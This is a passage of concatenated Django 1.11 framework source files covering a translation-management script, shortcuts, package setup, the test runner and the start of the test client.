    call_command('makemessages', locale=['en'])
    print("Updating en JS catalogs for Django and contrib apps...")
    call_command('makemessages', locale=['en'], domain='djangojs')

    # Output changed stats
    _check_diff('core', os.path.join(os.getcwd(), 'conf', 'locale'))
    for name, dir_ in contrib_dirs:
        _check_diff(name, dir_)


def lang_stats(resources=None, languages=None):
    """
    Output language statistics of committed translation files for each
    Django catalog.
    If resources is provided, it should be a list of translation resource to
    limit the output (e.g. ['core', 'gis']).
    """
    locale_dirs = _get_locale_dirs(resources)

    for name, dir_ in locale_dirs:
        print("\nShowing translations stats for '%s':" % name)
        langs = sorted([d for d in os.listdir(dir_) if not d.startswith('_')])
        for lang in langs:
            if languages and lang not in languages:
                continue
            # TODO: merge first with the latest en catalog
            p = Popen("msgfmt -vc -o /dev/null %(path)s/%(lang)s/LC_MESSAGES/django%(ext)s.po" % {
                'path': dir_, 'lang': lang, 'ext': 'js' if name.endswith('-js') else ''},
                stdout=PIPE, stderr=PIPE, shell=True)
            output, errors = p.communicate()
            if p.returncode == 0:
                # msgfmt output stats on stderr
                print("%s: %s" % (lang, errors.strip()))
            else:
                print("Errors happened when checking %s translation for %s:\n%s" % (
                    lang, name, errors))


def fetch(resources=None, languages=None):
    """
    Fetch translations from Transifex, wrap long lines, generate mo files.
    """
    locale_dirs = _get_locale_dirs(resources)
    errors = []

    for name, dir_ in locale_dirs:
        # Transifex pull
        if languages is None:
            call('tx pull -r %(res)s -a -f  --minimum-perc=5' % {'res': _tx_resource_for_name(name)}, shell=True)
            target_langs = sorted([d for d in os.listdir(dir_) if not d.startswith('_') and d != 'en'])
        else:
            for lang in languages:
                call('tx pull -r %(res)s -f -l %(lang)s' % {
                    'res': _tx_resource_for_name(name), 'lang': lang}, shell=True)
            target_langs = languages

        # msgcat to wrap lines and msgfmt for compilation of .mo file
        for lang in target_langs:
            po_path = '%(path)s/%(lang)s/LC_MESSAGES/django%(ext)s.po' % {
                'path': dir_, 'lang': lang, 'ext': 'js' if name.endswith('-js') else ''}
            if not os.path.exists(po_path):
                print("No %(lang)s translation for resource %(name)s" % {
                    'lang': lang, 'name': name})
                continue
            call('msgcat --no-location -o %s %s' % (po_path, po_path), shell=True)
            res = call('msgfmt -c -o %s.mo %s' % (po_path[:-3], po_path), shell=True)
            if res != 0:
                errors.append((name, lang))
    if errors:
        print("\nWARNING: Errors have occurred in following cases:")
        for resource, lang in errors:
            print("\tResource %s for language %s" % (resource, lang))
        exit(1)


if __name__ == "__main__":
    RUNABLE_SCRIPTS = ('update_catalogs', 'lang_stats', 'fetch')

    parser = ArgumentParser()
    parser.add_argument('cmd', nargs=1, choices=RUNABLE_SCRIPTS)
    parser.add_argument("-r", "--resources", action='append', help="limit operation to the specified resources")
    parser.add_argument("-l", "--languages", action='append', help="limit operation to the specified languages")
    options = parser.parse_args()

    eval(options.cmd[0])(options.resources, options.languages)






"""
This module collects helper functions and classes that "span" multiple levels
of MVC. In other words, these functions/classes introduce controlled coupling
for convenience's sake.
"""
from django.http import (
    Http404, HttpResponse, HttpResponsePermanentRedirect, HttpResponseRedirect,
)
from django.template import loader
from django.urls import NoReverseMatch, reverse
from django.utils import six
from django.utils.encoding import force_text
from django.utils.functional import Promise


def render_to_response(template_name, context=None, content_type=None, status=None, using=None):
    """
    Returns a HttpResponse whose content is filled with the result of calling
    django.template.loader.render_to_string() with the passed arguments.
    """
    content = loader.render_to_string(template_name, context, using=using)
    return HttpResponse(content, content_type, status)


def render(request, template_name, context=None, content_type=None, status=None, using=None):
    """
    Returns a HttpResponse whose content is filled with the result of calling
    django.template.loader.render_to_string() with the passed arguments.
    """
    content = loader.render_to_string(template_name, context, request, using=using)
    return HttpResponse(content, content_type, status)


def redirect(to, *args, **kwargs):
    """
    Returns an HttpResponseRedirect to the appropriate URL for the arguments
    passed.

    The arguments could be:

        * A model: the model's `get_absolute_url()` function will be called.

        * A view name, possibly with arguments: `urls.reverse()` will be used
          to reverse-resolve the name.

        * A URL, which will be used as-is for the redirect location.

    By default issues a temporary redirect; pass permanent=True to issue a
    permanent redirect
    """
    if kwargs.pop('permanent', False):
        redirect_class = HttpResponsePermanentRedirect
    else:
        redirect_class = HttpResponseRedirect

    return redirect_class(resolve_url(to, *args, **kwargs))


def _get_queryset(klass):
    """
    Return a QuerySet or a Manager.
    Duck typing in action: any class with a `get()` method (for
    get_object_or_404) or a `filter()` method (for get_list_or_404) might do
    the job.
    """
    # If it is a model class or anything else with ._default_manager
    if hasattr(klass, '_default_manager'):
        return klass._default_manager.all()
    return klass


def get_object_or_404(klass, *args, **kwargs):
    """
    Uses get() to return an object, or raises a Http404 exception if the object
    does not exist.

    klass may be a Model, Manager, or QuerySet object. All other passed
    arguments and keyword arguments are used in the get() query.

    Note: Like with get(), an MultipleObjectsReturned will be raised if more than one
    object is found.
    """
    queryset = _get_queryset(klass)
    try:
        return queryset.get(*args, **kwargs)
    except AttributeError:
        klass__name = klass.__name__ if isinstance(klass, type) else klass.__class__.__name__
        raise ValueError(
            "First argument to get_object_or_404() must be a Model, Manager, "
            "or QuerySet, not '%s'." % klass__name
        )
    except queryset.model.DoesNotExist:
        raise Http404('No %s matches the given query.' % queryset.model._meta.object_name)


def get_list_or_404(klass, *args, **kwargs):
    """
    Uses filter() to return a list of objects, or raise a Http404 exception if
    the list is empty.

    klass may be a Model, Manager, or QuerySet object. All other passed
    arguments and keyword arguments are used in the filter() query.
    """
    queryset = _get_queryset(klass)
    try:
        obj_list = list(queryset.filter(*args, **kwargs))
    except AttributeError:
        klass__name = klass.__name__ if isinstance(klass, type) else klass.__class__.__name__
        raise ValueError(
            "First argument to get_list_or_404() must be a Model, Manager, or "
            "QuerySet, not '%s'." % klass__name
        )
    if not obj_list:
        raise Http404('No %s matches the given query.' % queryset.model._meta.object_name)
    return obj_list


def resolve_url(to, *args, **kwargs):
    """
    Return a URL appropriate for the arguments passed.

    The arguments could be:

        * A model: the model's `get_absolute_url()` function will be called.

        * A view name, possibly with arguments: `urls.reverse()` will be used
          to reverse-resolve the name.

        * A URL, which will be returned as-is.
    """
    # If it's a model, use get_absolute_url()
    if hasattr(to, 'get_absolute_url'):
        return to.get_absolute_url()

    if isinstance(to, Promise):
        # Expand the lazy instance, as it can cause issues when it is passed
        # further to some Python functions like urlparse.
        to = force_text(to)

    if isinstance(to, six.string_types):
        # Handle relative URLs
        if to.startswith(('./', '../')):
            return to

    # Next try a reverse URL resolution.
    try:
        return reverse(to, args=args, kwargs=kwargs)
    except NoReverseMatch:
        # If this is a callable, re-raise.
        if callable(to):
            raise
        # If this doesn't "feel" like a URL, re-raise.
        if '/' not in to and '.' not in to:
            raise

    # Finally, fall back and assume it's a URL
    return to






"""
Invokes django-admin when the django module is run as a script.

Example: python -m django check
"""
from django.core import management

if __name__ == "__main__":
    management.execute_from_command_line()






from __future__ import unicode_literals

from django.utils.version import get_version

VERSION = (1, 11, 0, 'alpha', 0)

__version__ = get_version(VERSION)


def setup(set_prefix=True):
    """
    Configure the settings (this happens as a side effect of accessing the
    first setting), configure logging and populate the app registry.
    Set the thread-local urlresolvers script prefix if `set_prefix` is True.
    """
    from django.apps import apps
    from django.conf import settings
    from django.urls import set_script_prefix
    from django.utils.encoding import force_text
    from django.utils.log import configure_logging

    configure_logging(settings.LOGGING_CONFIG, settings.LOGGING)
    if set_prefix:
        set_script_prefix(
            '/' if settings.FORCE_SCRIPT_NAME is None else force_text(settings.FORCE_SCRIPT_NAME)
        )
    apps.populate(settings.INSTALLED_APPS)






import ctypes
import itertools
import logging
import multiprocessing
import os
import pickle
import textwrap
import unittest
import warnings
from importlib import import_module

from django.db import connections
from django.test import SimpleTestCase, TestCase
from django.test.utils import (
    setup_databases as _setup_databases, setup_test_environment,
    teardown_databases as _teardown_databases, teardown_test_environment,
)
from django.utils.datastructures import OrderedSet
from django.utils.deprecation import RemovedInDjango21Warning
from django.utils.six import StringIO

try:
    import tblib.pickling_support
except ImportError:
    tblib = None


class DebugSQLTextTestResult(unittest.TextTestResult):
    def __init__(self, stream, descriptions, verbosity):
        self.logger = logging.getLogger('django.db.backends')
        self.logger.setLevel(logging.DEBUG)
        super(DebugSQLTextTestResult, self).__init__(stream, descriptions, verbosity)

    def startTest(self, test):
        self.debug_sql_stream = StringIO()
        self.handler = logging.StreamHandler(self.debug_sql_stream)
        self.logger.addHandler(self.handler)
        super(DebugSQLTextTestResult, self).startTest(test)

    def stopTest(self, test):
        super(DebugSQLTextTestResult, self).stopTest(test)
        self.logger.removeHandler(self.handler)
        if self.showAll:
            self.debug_sql_stream.seek(0)
            self.stream.write(self.debug_sql_stream.read())
            self.stream.writeln(self.separator2)

    def addError(self, test, err):
        super(DebugSQLTextTestResult, self).addError(test, err)
        self.debug_sql_stream.seek(0)
        self.errors[-1] = self.errors[-1] + (self.debug_sql_stream.read(),)

    def addFailure(self, test, err):
        super(DebugSQLTextTestResult, self).addFailure(test, err)
        self.debug_sql_stream.seek(0)
        self.failures[-1] = self.failures[-1] + (self.debug_sql_stream.read(),)

    def printErrorList(self, flavour, errors):
        for test, err, sql_debug in errors:
            self.stream.writeln(self.separator1)
            self.stream.writeln("%s: %s" % (flavour, self.getDescription(test)))
            self.stream.writeln(self.separator2)
            self.stream.writeln("%s" % err)
            self.stream.writeln(self.separator2)
            self.stream.writeln("%s" % sql_debug)


class RemoteTestResult(object):
    """
    Record information about which tests have succeeded and which have failed.

    The sole purpose of this class is to record events in the child processes
    so they can be replayed in the master process. As a consequence it doesn't
    inherit unittest.TestResult and doesn't attempt to implement all its API.

    The implementation matches the unpythonic coding style of unittest2.
    """

    def __init__(self):
        self.events = []
        self.failfast = False
        self.shouldStop = False
        self.testsRun = 0

    @property
    def test_index(self):
        return self.testsRun - 1

    def check_picklable(self, test, err):
        # Ensure that sys.exc_info() tuples are picklable. This displays a
        # clear multiprocessing.pool.RemoteTraceback generated in the child
        # process instead of a multiprocessing.pool.MaybeEncodingError, making
        # the root cause easier to figure out for users who aren't familiar
        # with the multiprocessing module. Since we're in a forked process,
        # our best chance to communicate with them is to print to stdout.
        try:
            pickle.dumps(err)
        except Exception as exc:
            original_exc_txt = repr(err[1])
            original_exc_txt = textwrap.fill(original_exc_txt, 75, initial_indent='    ', subsequent_indent='    ')
            pickle_exc_txt = repr(exc)
            pickle_exc_txt = textwrap.fill(pickle_exc_txt, 75, initial_indent='    ', subsequent_indent='    ')
            if tblib is None:
                print("""

{} failed:

{}

Unfortunately, tracebacks cannot be pickled, making it impossible for the
parallel test runner to handle this exception cleanly.

In order to see the traceback, you should install tblib:

    pip install tblib
""".format(test, original_exc_txt))
            else:
                print("""

{} failed:

{}

Unfortunately, the exception it raised cannot be pickled, making it impossible
for the parallel test runner to handle it cleanly.

Here's the error encountered while trying to pickle the exception:

{}

You should re-run this test with the --parallel=1 option to reproduce the
failure and get a correct traceback.
""".format(test, original_exc_txt, pickle_exc_txt))
            raise

    def stop_if_failfast(self):
        if self.failfast:
            self.stop()

    def stop(self):
        self.shouldStop = True

    def startTestRun(self):
        self.events.append(('startTestRun',))

    def stopTestRun(self):
        self.events.append(('stopTestRun',))

    def startTest(self, test):
        self.testsRun += 1
        self.events.append(('startTest', self.test_index))

    def stopTest(self, test):
        self.events.append(('stopTest', self.test_index))

    def addError(self, test, err):
        self.check_picklable(test, err)
        self.events.append(('addError', self.test_index, err))
        self.stop_if_failfast()

    def addFailure(self, test, err):
        self.check_picklable(test, err)
        self.events.append(('addFailure', self.test_index, err))
        self.stop_if_failfast()

    def addSubTest(self, test, subtest, err):
        raise NotImplementedError("subtests aren't supported at this time")

    def addSuccess(self, test):
        self.events.append(('addSuccess', self.test_index))

    def addSkip(self, test, reason):
        self.events.append(('addSkip', self.test_index, reason))

    def addExpectedFailure(self, test, err):
        # If tblib isn't installed, pickling the traceback will always fail.
        # However we don't want tblib to be required for running the tests
        # when they pass or fail as expected. Drop the traceback when an
        # expected failure occurs.
        if tblib is None:
            err = err[0], err[1], None
        self.check_picklable(test, err)
        self.events.append(('addExpectedFailure', self.test_index, err))

    def addUnexpectedSuccess(self, test):
        self.events.append(('addUnexpectedSuccess', self.test_index))
        self.stop_if_failfast()


class RemoteTestRunner(object):
    """
    Run tests and record everything but don't display anything.

    The implementation matches the unpythonic coding style of unittest2.
    """

    resultclass = RemoteTestResult

    def __init__(self, failfast=False, resultclass=None):
        self.failfast = failfast
        if resultclass is not None:
            self.resultclass = resultclass

    def run(self, test):
        result = self.resultclass()
        unittest.registerResult(result)
        result.failfast = self.failfast
        test(result)
        return result


def default_test_processes():
    """
    Default number of test processes when using the --parallel option.
    """
    # The current implementation of the parallel test runner requires
    # multiprocessing to start subprocesses with fork().
    # On Python 3.4+: if multiprocessing.get_start_method() != 'fork':
    if not hasattr(os, 'fork'):
        return 1
    try:
        return int(os.environ['DJANGO_TEST_PROCESSES'])
    except KeyError:
        return multiprocessing.cpu_count()


_worker_id = 0


def _init_worker(counter):
    """
    Switch to databases dedicated to this worker.

    This helper lives at module-level because of the multiprocessing module's
    requirements.
    """

    global _worker_id

    with counter.get_lock():
        counter.value += 1
        _worker_id = counter.value

    for alias in connections:
        connection = connections[alias]
        settings_dict = connection.creation.get_test_db_clone_settings(_worker_id)
        # connection.settings_dict must be updated in place for changes to be
        # reflected in django.db.connections. If the following line assigned
        # connection.settings_dict = settings_dict, new threads would connect
        # to the default database instead of the appropriate clone.
        connection.settings_dict.update(settings_dict)
        connection.close()


def _run_subsuite(args):
    """
    Run a suite of tests with a RemoteTestRunner and return a RemoteTestResult.

    This helper lives at module-level and its arguments are wrapped in a tuple
    because of the multiprocessing module's requirements.
    """
    runner_class, subsuite_index, subsuite, failfast = args
    runner = runner_class(failfast=failfast)
    result = runner.run(subsuite)
    return subsuite_index, result.events


class ParallelTestSuite(unittest.TestSuite):
    """
    Run a series of tests in parallel in several processes.

    While the unittest module's documentation implies that orchestrating the
    execution of tests is the responsibility of the test runner, in practice,
    it appears that TestRunner classes are more concerned with formatting and
    displaying test results.

    Since there are fewer use cases for customizing TestSuite than TestRunner,
    implementing parallelization at the level of the TestSuite improves
    interoperability with existing custom test runners. A single instance of a
    test runner can still collect results from all tests without being aware
    that they have been run in parallel.
    """

    # In case someone wants to modify these in a subclass.
    init_worker = _init_worker
    run_subsuite = _run_subsuite
    runner_class = RemoteTestRunner

    def __init__(self, suite, processes, failfast=False):
        self.subsuites = partition_suite_by_case(suite)
        self.processes = processes
        self.failfast = failfast
        super(ParallelTestSuite, self).__init__()

    def run(self, result):
        """
        Distribute test cases across workers.

        Return an identifier of each test case with its result in order to use
        imap_unordered to show results as soon as they're available.

        To minimize pickling errors when getting results from workers:

        - pass back numeric indexes in self.subsuites instead of tests
        - make tracebacks picklable with tblib, if available

        Even with tblib, errors may still occur for dynamically created
        exception classes such Model.DoesNotExist which cannot be unpickled.
        """
        if tblib is not None:
            tblib.pickling_support.install()

        counter = multiprocessing.Value(ctypes.c_int, 0)
        pool = multiprocessing.Pool(
            processes=self.processes,
            initializer=self.init_worker.__func__,
            initargs=[counter])
        args = [
            (self.runner_class, index, subsuite, self.failfast)
            for index, subsuite in enumerate(self.subsuites)
        ]
        test_results = pool.imap_unordered(self.run_subsuite.__func__, args)

        while True:
            if result.shouldStop:
                pool.terminate()
                break

            try:
                subsuite_index, events = test_results.next(timeout=0.1)
            except multiprocessing.TimeoutError:
                continue
            except StopIteration:
                pool.close()
                break

            tests = list(self.subsuites[subsuite_index])
            for event in events:
                event_name = event[0]
                handler = getattr(result, event_name, None)
                if handler is None:
                    continue
                test = tests[event[1]]
                args = event[2:]
                handler(test, *args)

        pool.join()

        return result


class DiscoverRunner(object):
    """
    A Django test runner that uses unittest2 test discovery.
    """

    test_suite = unittest.TestSuite
    parallel_test_suite = ParallelTestSuite
    test_runner = unittest.TextTestRunner
    test_loader = unittest.defaultTestLoader
    reorder_by = (TestCase, SimpleTestCase)

    def __init__(self, pattern=None, top_level=None, verbosity=1,
                 interactive=True, failfast=False, keepdb=False,
                 reverse=False, debug_mode=False, debug_sql=False, parallel=0,
                 tags=None, exclude_tags=None, **kwargs):

        self.pattern = pattern
        self.top_level = top_level
        self.verbosity = verbosity
        self.interactive = interactive
        self.failfast = failfast
        self.keepdb = keepdb
        self.reverse = reverse
        self.debug_mode = debug_mode
        self.debug_sql = debug_sql
        self.parallel = parallel
        self.tags = set(tags or [])
        self.exclude_tags = set(exclude_tags or [])

    @classmethod
    def add_arguments(cls, parser):
        parser.add_argument(
            '-t', '--top-level-directory', action='store', dest='top_level', default=None,
            help='Top level of project for unittest discovery.',
        )
        parser.add_argument(
            '-p', '--pattern', action='store', dest='pattern', default="test*.py",
            help='The test matching pattern. Defaults to test*.py.',
        )
        parser.add_argument(
            '-k', '--keepdb', action='store_true', dest='keepdb', default=False,
            help='Preserves the test DB between runs.'
        )
        parser.add_argument(
            '-r', '--reverse', action='store_true', dest='reverse', default=False,
            help='Reverses test cases order.',
        )
        parser.add_argument(
            '--debug-mode', action='store_true', dest='debug_mode', default=False,
            help='Sets settings.DEBUG to True.',
        )
        parser.add_argument(
            '-d', '--debug-sql', action='store_true', dest='debug_sql', default=False,
            help='Prints logged SQL queries on failure.',
        )
        parser.add_argument(
            '--parallel', dest='parallel', nargs='?', default=1, type=int,
            const=default_test_processes(), metavar='N',
            help='Run tests using up to N parallel processes.',
        )
        parser.add_argument(
            '--tag', action='append', dest='tags',
            help='Run only tests with the specified tag. Can be used multiple times.',
        )
        parser.add_argument(
            '--exclude-tag', action='append', dest='exclude_tags',
            help='Do not run tests with the specified tag. Can be used multiple times.',
        )

    def setup_test_environment(self, **kwargs):
        setup_test_environment(debug=self.debug_mode)
        unittest.installHandler()

    def build_suite(self, test_labels=None, extra_tests=None, **kwargs):
        suite = self.test_suite()
        test_labels = test_labels or ['.']
        extra_tests = extra_tests or []

        discover_kwargs = {}
        if self.pattern is not None:
            discover_kwargs['pattern'] = self.pattern
        if self.top_level is not None:
            discover_kwargs['top_level_dir'] = self.top_level

        for label in test_labels:
            kwargs = discover_kwargs.copy()
            tests = None

            label_as_path = os.path.abspath(label)

            # if a module, or "module.ClassName[.method_name]", just run those
            if not os.path.exists(label_as_path):
                tests = self.test_loader.loadTestsFromName(label)
            elif os.path.isdir(label_as_path) and not self.top_level:
                # Try to be a bit smarter than unittest about finding the
                # default top-level for a given directory path, to avoid
                # breaking relative imports. (Unittest's default is to set
                # top-level equal to the path, which means relative imports
                # will result in "Attempted relative import in non-package.").

                # We'd be happy to skip this and require dotted module paths
                # (which don't cause this problem) instead of file paths (which
                # do), but in the case of a directory in the cwd, which would
                # be equally valid if considered as a top-level module or as a
                # directory path, unittest unfortunately prefers the latter.

                top_level = label_as_path
                while True:
                    init_py = os.path.join(top_level, '__init__.py')
                    if os.path.exists(init_py):
                        try_next = os.path.dirname(top_level)
                        if try_next == top_level:
                            # __init__.py all the way down? give up.
                            break
                        top_level = try_next
                        continue
                    break
                kwargs['top_level_dir'] = top_level

            if not (tests and tests.countTestCases()) and is_discoverable(label):
                # Try discovery if path is a package or directory
                tests = self.test_loader.discover(start_dir=label, **kwargs)

                # Make unittest forget the top-level dir it calculated from this
                # run, to support running tests from two different top-levels.
                self.test_loader._top_level_dir = None

            suite.addTests(tests)

        for test in extra_tests:
            suite.addTest(test)

        if self.tags or self.exclude_tags:
            suite = filter_tests_by_tags(suite, self.tags, self.exclude_tags)
        suite = reorder_suite(suite, self.reorder_by, self.reverse)

        if self.parallel > 1:
            parallel_suite = self.parallel_test_suite(suite, self.parallel, self.failfast)

            # Since tests are distributed across processes on a per-TestCase
            # basis, there's no need for more processes than TestCases.
            parallel_units = len(parallel_suite.subsuites)
            if self.parallel > parallel_units:
                self.parallel = parallel_units

            # If there's only one TestCase, parallelization isn't needed.
            if self.parallel > 1:
                suite = parallel_suite

        return suite

    def setup_databases(self, **kwargs):
        return _setup_databases(
            self.verbosity, self.interactive, self.keepdb, self.debug_sql,
            self.parallel, **kwargs
        )

    def get_resultclass(self):
        return DebugSQLTextTestResult if self.debug_sql else None

    def get_test_runner_kwargs(self):
        return dict(
            failfast=self.failfast,
            resultclass=self.get_resultclass(),
            verbosity=self.verbosity,
        )

    def run_suite(self, suite, **kwargs):
        kwargs = self.get_test_runner_kwargs()
        runner = self.test_runner(**kwargs)
        return runner.run(suite)

    def teardown_databases(self, old_config, **kwargs):
        """
        Destroys all the non-mirror databases.
        """
        _teardown_databases(
            old_config,
            verbosity=self.verbosity,
            parallel=self.parallel,
            keepdb=self.keepdb,
        )

    def teardown_test_environment(self, **kwargs):
        unittest.removeHandler()
        teardown_test_environment()

    def suite_result(self, suite, result, **kwargs):
        return len(result.failures) + len(result.errors)

    def run_tests(self, test_labels, extra_tests=None, **kwargs):
        """
        Run the unit tests for all the test labels in the provided list.

        Test labels should be dotted Python paths to test modules, test
        classes, or test methods.

        A list of 'extra' tests may also be provided; these tests
        will be added to the test suite.

        Returns the number of tests that failed.
        """
        self.setup_test_environment()
        suite = self.build_suite(test_labels, extra_tests)
        old_config = self.setup_databases()
        result = self.run_suite(suite)
        self.teardown_databases(old_config)
        self.teardown_test_environment()
        return self.suite_result(suite, result)


def is_discoverable(label):
    """
    Check if a test label points to a python package or file directory.

    Relative labels like "." and ".." are seen as directories.
    """
    try:
        mod = import_module(label)
    except (ImportError, TypeError):
        pass
    else:
        return hasattr(mod, '__path__')

    return os.path.isdir(os.path.abspath(label))


def reorder_suite(suite, classes, reverse=False):
    """
    Reorders a test suite by test type.

    `classes` is a sequence of types

    All tests of type classes[0] are placed first, then tests of type
    classes[1], etc. Tests with no match in classes are placed last.

    If `reverse` is True, tests within classes are sorted in opposite order,
    but test classes are not reversed.
    """
    class_count = len(classes)
    suite_class = type(suite)
    bins = [OrderedSet() for i in range(class_count + 1)]
    partition_suite_by_type(suite, classes, bins, reverse=reverse)
    reordered_suite = suite_class()
    for i in range(class_count + 1):
        reordered_suite.addTests(bins[i])
    return reordered_suite


def partition_suite_by_type(suite, classes, bins, reverse=False):
    """
    Partitions a test suite by test type. Also prevents duplicated tests.

    classes is a sequence of types
    bins is a sequence of TestSuites, one more than classes
    reverse changes the ordering of tests within bins

    Tests of type classes[i] are added to bins[i],
    tests with no match found in classes are place in bins[-1]
    """
    suite_class = type(suite)
    if reverse:
        suite = reversed(tuple(suite))
    for test in suite:
        if isinstance(test, suite_class):
            partition_suite_by_type(test, classes, bins, reverse=reverse)
        else:
            for i in range(len(classes)):
                if isinstance(test, classes[i]):
                    bins[i].add(test)
                    break
            else:
                bins[-1].add(test)


def partition_suite_by_case(suite):
    """
    Partitions a test suite by test case, preserving the order of tests.
    """
    groups = []
    suite_class = type(suite)
    for test_type, test_group in itertools.groupby(suite, type):
        if issubclass(test_type, unittest.TestCase):
            groups.append(suite_class(test_group))
        else:
            for item in test_group:
                groups.extend(partition_suite_by_case(item))
    return groups


def setup_databases(*args, **kwargs):
    warnings.warn(
        '`django.test.runner.setup_databases()` has moved to '
        '`django.test.utils.setup_databases()`.',
        RemovedInDjango21Warning,
        stacklevel=2,
    )
    return _setup_databases(*args, **kwargs)


def filter_tests_by_tags(suite, tags, exclude_tags):
    suite_class = type(suite)
    filtered_suite = suite_class()

    for test in suite:
        if isinstance(test, suite_class):
            filtered_suite.addTests(filter_tests_by_tags(test, tags, exclude_tags))
        else:
            test_tags = set(getattr(test, 'tags', set()))
            test_fn_name = getattr(test, '_testMethodName', str(test))
            test_fn = getattr(test, test_fn_name, test)
            test_fn_tags = set(getattr(test_fn, 'tags', set()))
            all_tags = test_tags.union(test_fn_tags)
            matched_tags = all_tags.intersection(tags)
            if (matched_tags or not tags) and not all_tags.intersection(exclude_tags):
                filtered_suite.addTest(test)

    return filtered_suite






from __future__ import unicode_literals

import json
import mimetypes
import os
import re
import sys
from copy import copy
from importlib import import_module
from io import BytesIO

from django.conf import settings
from django.core.handlers.base import BaseHandler
from django.core.handlers.wsgi import ISO_8859_1, UTF_8, WSGIRequest
from django.core.signals import (
    got_request_exception, request_finished, request_started,
)
from django.db import close_old_connections
from django.http import HttpRequest, QueryDict, SimpleCookie
from django.template import TemplateDoesNotExist
from django.test import signals
from django.test.utils import ContextList
from django.urls import resolve
from django.utils import six
from django.utils.encoding import force_bytes, force_str, uri_to_iri
from django.utils.functional import SimpleLazyObject, curry
from django.utils.http import urlencode
from django.utils.itercompat import is_iterable
from django.utils.six.moves.urllib.parse import urljoin, urlparse, urlsplit

__all__ = ('Client', 'RedirectCycleError', 'RequestFactory', 'encode_file', 'encode_multipart')


BOUNDARY = 'BoUnDaRyStRiNg'
MULTIPART_CONTENT = 'multipart/form-data; boundary=%s' % BOUNDARY
CONTENT_TYPE_RE = re.compile('.*; charset=([\w\d-]+);?')


class RedirectCycleError(Exception):
    """
    The test client has been asked to follow a redirect loop.
    """
    def __init__(self, message, last_response):
        super(RedirectCycleError, self).__init__(message)
        self.last_response = last_response
        self.redirect_chain = last_response.redirect_chain


class FakePayload(object):
    """
    A wrapper around BytesIO that restricts what can be read since data from
    the network can't be seeked and cannot be read outside of its content
    length. This makes sure that views can't do anything under the test client
    that wouldn't work in Real Life.
    """
    def __init__(self, content=None):
        self.__content = BytesIO()
        self.__len = 0
        self.read_started = False
        if content is not None:
            self.write(content)

    def __len__(self):
        return self.__len

    def read(self, num_bytes=None):
        if not self.read_started:
            self.__content.seek(0)
            self.read_started = True
        if num_bytes is None:
            num_bytes = self.__len or 0
        assert self.__len >= num_bytes, "Cannot read more than the available bytes from the HTTP incoming data."
        content = self.__content.read(num_bytes)
        self.__len -= num_bytes
        return content

    def write(self, content):
        if self.read_started:
            raise ValueError("Unable to write a payload after he's been read")
        content = force_bytes(content)
        self.__content.write(content)
        self.__len += len(content)


def closing_iterator_wrapper(iterable, close):
    try:
        for item in iterable:
            yield item
    finally:
        request_finished.disconnect(close_old_connections)
        close()                                 # will fire request_finished
        request_finished.connect(close_old_connections)


def conditional_content_removal(request, response):
    """
    Simulate the behavior of most Web servers by removing the content of
    responses for HEAD requests, 1xx, 204, and 304 responses. Ensures
    compliance with RFC 7230, section 3.3.3.
    """
    if 100 <= response.status_code < 200 or response.status_code in (204, 304):
        if response.streaming:
            response.streaming_content = []
        else:
            response.content = b''
        response['Content-Length'] = '0'
    if request.method == 'HEAD':
        if response.streaming:
            response.streaming_content = []
        else:
            response.content = b''
    return response


class ClientHandler(BaseHandler):
    """
    A HTTP Handler that can be used for testing purposes. Uses the WSGI
    interface to compose requests, but returns the raw HttpResponse object with
    the originating WSGIRequest attached to its ``wsgi_request`` attribute.
    """
    def __init__(self, enforce_csrf_checks=True, *args, **kwargs):
        self.enforce_csrf_checks = enforce_csrf_checks
        super(ClientHandler, self).__init__(*args, **kwargs)

    def __call__(self, environ):
        # Set up middleware if needed. We couldn't do this earlier, because
        # settings weren't available.
        if self._middleware_chain is None:
            self.load_middleware()

        request_started.disconnect(close_old_connections)
        request_started.send(sender=self.__class__, environ=environ)
        request_started.connect(close_old_connections)
        request = WSGIRequest(environ)
        # sneaky little hack so that we can easily get round
        # CsrfViewMiddleware.  This makes life easier, and is probably
        # required for backwards compatibility with external tests against
        # admin views.
        request._dont_enforce_csrf_checks = not self.enforce_csrf_checks

        # Request goes through middleware.
        response = self.get_response(request)

        # Simulate behaviors of most Web servers.
        conditional_content_removal(request, response)

        # Attach the originating request to the response so that it could be
        # later retrieved.
        response.wsgi_request = request

        # We're emulating a WSGI server; we must call the close method
        # on completion.
        if response.streaming:
            response.streaming_content = closing_iterator_wrapper(
                response.streaming_content, response.close)
        else:
            request_finished.disconnect(close_old_connections)
            response.close()                    # will fire request_finished
            request_finished.connect(close_old_connections)

        return response


def store_rendered_templates(store, signal, sender, template, context, **kwargs):
    """
    Stores templates and contexts that are rendered.

    The context is copied so that it is an accurate representation at the time
    of rendering.
    """
    store.setdefault('templates', []).append(template)
    if 'context' not in store:
        store['context'] = ContextList()
    store['context'].append(copy(context))


def encode_multipart(boundary, data):
    """
    Encodes multipart POST data from a dictionary of form values.

    The key will be used as the form data name; the value will be transmitted
    as content. If the value is a file, the contents of the file will be sent
    as an application/octet-stream; otherwise, str(value) will be sent.
    """
    lines = []

    def to_bytes(s):
        return force_bytes(s, settings.DEFAULT_CHARSET)

    # Not by any means perfect, but good enough for our purposes.
    def is_file(thing):
        return hasattr(thing, "read") and callable(thing.read)

    # Each bit of the multipart form data could be either a form value or a
    # file, or a *list* of form values and/or files. Remember that HTTP field
    # names can be duplicated!
    for (key, value) in data.items():
        if is_file(value):
            lines.extend(encode_file(boundary, key, value))
        elif not isinstance(value, six.string_types) and is_iterable(value):
            for item in value:
                if is_file(item):
                    lines.extend(encode_file(boundary, key, item))
                else:
                    lines.extend(to_bytes(val) for val in [
                        '--%s' % boundary,
                        'Content-Disposition: form-data; name="%s"' % key,
                        '',
                        item
                    ])
        else:
            lines.extend(to_bytes(val) for val in [
                '--%s' % boundary,
                'Content-Disposition: form-data; name="%s"' % key,
                '',
                value
            ])

    lines.extend([
        to_bytes('--%s--' % boundary),
        b'',
    ])
    return b'\r\n'.join(lines)


def encode_file(boundary, key, file):
    def to_bytes(s):
        return force_bytes(s, settings.DEFAULT_CHARSET)
    filename = os.path.basename(file.name) if hasattr(file, 'name') else ''
    if hasattr(file, 'content_type'):
        content_type = file.content_type
    elif filename:
        content_type = mimetypes.guess_type(filename)[0]
    else:
        content_type = None

    if content_type is None:
        content_type = 'application/octet-stream'
    if not filename:
        filename = key
    return [
        to_bytes('--%s' % boundary),
        to_bytes('Content-Disposition: form-data; name="%s"; filename="%s"'
                 % (key, filename)),
        to_bytes('Content-Type: %s' % content_type),
        b'',
        to_bytes(file.read())
    ]


class RequestFactory(object):
    """
    Class that lets you create mock Request objects for use in testing.

    Usage:

